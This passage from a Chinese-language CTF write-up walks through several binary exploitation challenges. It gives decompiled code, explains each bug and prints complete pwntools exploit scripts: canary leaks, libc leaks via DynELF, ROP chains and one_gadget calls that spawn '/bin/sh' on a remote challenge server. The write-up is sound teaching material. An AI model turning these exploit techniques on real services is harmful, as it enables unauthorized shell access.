  int v3; // eax
  char s; // [rsp+10h] [rbp-90h]
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  memset(&s, 0, 0x80uLL);
  while ( 1 )
  {
    sub_4008B9();
    v3 = sub_400841();
    switch ( v3 )
    {
      case 2:
        puts(&s);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, &s, 0x100uLL);
        break;
      default:
        sub_400826("invalid choice");
        break;
    }
    sub_400826(&unk_400AE7);
  }
}

程序的逻辑很简单,获取输入,当输入为1时对参数s进行赋值,当输入为2时输出参数s,当参数为3时退出程序。

这里对参数s分配的空间长度为0x80,而read函数输入的长度又限制为0x100,就可以造成栈溢出。

这里可以看出v6就是程序的canary,我们得先将canary泄露出来,然后在进行溢出时填充到对应的位置。

然后在程序中没有找到现成的system函数和/bin/sh字符串,这里学到了可以使用one_gadget来找到libc中execve("/bin/sh", rsp+0x70, environ)函数的地址,就不用我们自己去生成ROP链了,方便快捷。

关于one_gadget可见https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html
译文可见https://xz.aliyun.com/t/2720?accounttraceid=1fe9905290d84abd88884df4af00cf3fsllg

下面是exp:

from pwn import *
context.log_level = 'debug'
io = remote('220.249.52.134',42667)
# io = process('../babystack')
elf = ELF('../babystack')
libc = ELF('../libc-2.23.so')

rdi = 0x400a93
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x0400908

io.sendlineafter(">> ",'1')
io.sendline('a' * 0x88)

io.sendlineafter(">> ",'2')
io.recvuntil('a' * 0x88+'\n')
canary = u64(io.recv(7).rjust(8,'\x00'))
payload = 'a' * 0x88 + p64(canary) + 'deadbeef' + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendlineafter(">> ",'1')
io.sendline(payload)

io.sendlineafter(">> ",'3')

puts_addr = u64(io.recv(8).ljust(8,'\x00'))

libc_addr = puts_addr - libc.symbols['puts']

payload = 'a' * 0x88 + p64(canary) + 'deadbeef' + p64(libc_addr + 0x45216)
io.sendlineafter(">> ",'1')
io.sendline(payload)
io.sendlineafter(">> ",'3')
io.interactive()

0X05 pwn-100

下载文件,只开启了NX保护。

反编译一下,main函数调用了sub_40068E()函数,然后sub_40068E()函数调用了sub_40063D函数,第一个参数为v1,第二个参数为200.

int sub_40068E()
{
  char v1; // [rsp+0h] [rbp-40h]

  sub_40063D((__int64)&v1, 200);
  return puts("bye~");
}

__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i >= a2 )
      break;
    read(0, (void *)((signed int)i + a1), 1uLL);
  }
  return result;
}

在这v1位于rbp-40h处,然后在第二个函数中,对v1进行输入,逐个字符读取,共读取200个字符,造成了溢出。

在程序中没有找到可利用的system函数和/bin/sh字符串,于是我们可以利用DynELF模块来进行泄露。

DynELF的基本利用模板为:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data

d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

可以借助该模块找到程序使用的libc文件,然后获取system函数,由于不能获取字符串的地址,我们可以利用vmmap在程序中找一个可读可写的地方读入/bin/sh字符串。

exp:

from pwn import *
context.log_level = 'debug'
io = remote('220.249.52.134',58720)
# io = process('../pwn100')
elf = ELF('../pwn100')
main = 0x0400550
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
rdi = 0x400763
gadget1 = 0x40075A
gadget2 = 0x400740
str_addr = 0x601000

def leak(address):
  payload = "a" * 0x48
  payload += p64(rdi)
  payload += p64(address)
  payload += p64(puts_plt)
  payload += p64(main)
  payload = payload.ljust(200,"a")
  io.send(payload)
  io.recvuntil("bye~\n")
  up = ""
  content = ""
  count = 0
  while True:
    c = io.recv(numb = 1, timeout = 0.5)
    count += 1
    if up == '\n' and c == "":
        content = content[:-1] + '\x00'
        break
    else:
        content += c
        up = c
  content = content[:4]
  return content

d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
getsAddress = d.lookup('gets', 'libc')
print(systemAddress)

payload = 'a' * 0x48 + p64(rdi) + p64(str_addr) + p64(getsAddress) + p64(main)
payload = payload.ljust(200,"a")
io.send(payload)
io.sendline('/bin/sh\x00')

payload = 'a' * 0x48 + p64(rdi) + p64(str_addr) + p64(systemAddress) + 'deadbeef'
payload = payload.ljust(200,"a")
io.sendline(payload)
io.interactive()

0x06 monkey

反编译一下,出来了好多东西,,

直接运行一下程序,显示'js>',结合程序名字,猜测可以运行js代码。

直接nc连接,输入os.system('ls'),然后os.system('cat flag')即可。

JavaScript shell

0x07 stack2

开启了NX和canary的32位程序。

反编译一下查看源码,先输入要输入的数字的数量,然后输入要输入的数字。

之后有几个选项:
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");

可以发现输入3修改数字以后进行输入时,没有对数组边界进行判断,可能会造成数组的越界修改,然后还找到了名为hackhere()的后门函数,可以修改函数的返回地址返回到hackhere()处,获取shell。

于是接下来我们要寻找保存数字的数组的首地址,然后才能确定返回地址的位置。

根据数组初赋值处的汇编代码,0x080486B1处,eax=&(ebp+v7),栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+v7)就是我们的输入,然后&(ebp+v7)赋值给eax寄存器,eax又赋值给ecx,然后mov [eax], cl又将数组的地址存入eax中。

也就是说在这,eax存的就是数组的首地址,那么我们找到main函数返回时的地址,相减就得到了偏移量。

.text:080486AE                 sub     esp, 8
.text:080486B1                 lea     eax, [ebp+v7]
.text:080486B7                 push    eax
.text:080486B8                 push    offset aD       ; "%d"
.text:080486BD                 call    ___isoc99_scanf
.text:080486C2                 add     esp, 10h
.text:080486C5                 mov     eax, [ebp+v7]
.text:080486CB                 mov     ecx, eax
.text:080486CD                 lea     edx, [ebp+v13]
.text:080486D0                 mov     eax, [ebp+i]
.text:080486D3                 add     eax, edx
.text:080486D5                 mov     [eax], cl

使用gdb调试一下。

找到数组首地址。

找到返回时的esp,ret语句时栈顶一定是返回地址。

偏移量:0xffffce3c - 0xffffcdb8 = 0x84

写出exp。

本地打通了,远程显示:sh: 1: /bin/bash: not found。

可以找一下字符串'sh'同样也可以。

exp:

# -*- coding:utf-8  -*-
from pwn import *

io = remote('220.249.52.134',58301)
# io = process('../stack2')

def modify(addr, num):
    io.sendlineafter('5. exit','3')
    io.sendlineafter('which number to change:',str(addr))
    io.sendlineafter('new number:',str(num))

io.sendlineafter('How many numbers you have:','1')
io.sendlineafter('Give me your numbers','1')

modify(0x84,0x50)
modify(0x85,0x84)
modify(0x86,0x04)
modify(0x87,0x08)

modify(0x8C,0x87)
modify(0x8D,0x89)
modify(0x8E,0x04)
modify(0x8F,0x08)

io.sendlineafter('5. exit','5')

io.interactive()

0x08 pwn-200

这题与pwn-100类似,都是利用DynELF模块来找libc。

read函数处存在栈溢出。

ssize_t sub_8048484()
{
  char buf; // [esp+1Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);
}

利用DynELF模块找到libc后,返回程序的start处中期程序恢复帧栈。

最后调用两个函数并含有参数,所以需要调整栈平衡,read有三个参数,所以需要三次pop,可以利用ROPgadget查找。

exp:

from pwn import *
# context.log_level = 'debug'
io = remote('220.249.52.134',32400)
# io = process('../pwn200')
elf = ELF('../pwn200')

main = 0x080484BE
vul_addr = 0x08048484
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss = 0x0804A020
ret = 0x0804856c
start_addr = 0x080483D0

def leak(address):
    payload = 'a' * (0x6c + 4)
    payload += p32(write_plt)
    payload += p32(vul_addr)
    payload += p32(1)
    payload += p32(address)
    payload += p32(4)
    io.send(payload)
    data = io.recv(4)
    return data

io.recvline()
d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
print(hex(systemAddress))

payload = 'a' * (0x6c + 4) + p32(start_addr)
io.sendline(payload)
io.recv()

payload = 'a' * (0x6c + 4) + p32(read_plt) + p32(ret)+ p32(1) + p32(bss) + p32(8) + p32(systemAddress) + p32(0) + p32(bss)
io.sendline(payload)
io.sendline('/bin/sh')

io.interactive()

0x09 welpwn

只开启了NX保护。

buf可以读入0x400的空间,但是没有造成溢出。

将buf的地址作为参数传入echo函数,然后逐字节赋值到s2中。s2只有0x10的空间,但是buf最多可以读入0x400的内容,显然可以造成溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]

  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}

但是在赋值给s2时的for循环处,条件为*(_BYTE *)(i + a1),也就是说不能出现\x00,否则终止读入。而一般的地址末尾都会有\x00,而echo的函数栈处填充的junk字符为0x10个,于是我们可以找一个4个pop的gadget,就可以正常执行我们的rop链了。

函数栈
'aaaaaaaa'
'aaaaaaaa'
'aaaaaaaa'
4_pop(rbp)
'aaaaaaaa'
'aaaaaaaa'
'aaaaaaaa'
4_pop
ROP

利用DynELF模块来找libc(第几个了都。。),然后retcsu即可。

exp:

from pwn import *
# context.log_level = 'debug'
io = remote('220.249.52.134',36043)
# io = process('../wel')
elf = ELF('../wel')

start = 0x400630
pop = 0x40089c
rdi = 0x4008a3
rop1 = 0x40089A
rop2 = 0x400880
puts_plt = elf.plt["puts"]
read_got = elf.got['read']
write_got = elf.got['write']
bss = elf.bss()

def leak(address):
    io.recv(1024)
    payload = 'A' * 24 + p64(pop) + p64(rop1) + p64(0) + p64(1) + p64(write_got)
    payload += p64(8) + p64(address) + p64(1)
    payload += p64(rop2) + 'A'*56 + p64(start)
    payload = payload.ljust(1024,'A')
    io.send(payload)
    data = io.recv(8)
    print "%#x => %s" % (address,(data or '').encode('hex'))
    return data

d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
getsAddress = d.lookup('gets', 'libc')
print(hex(systemAddress))
print(hex(getsAddress))
io.recv(1024)
payload = 'A' * 24 + p64(pop) + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss) + p64(0)
payload += p64(rop2) + 'A'*56 + p64(rdi) + p64(bss) + p64(systemAddress) + 'A' * 8
payload = payload.ljust(1024,'A')
io.send(payload)
io.send('/bin/sh')

io.interactive()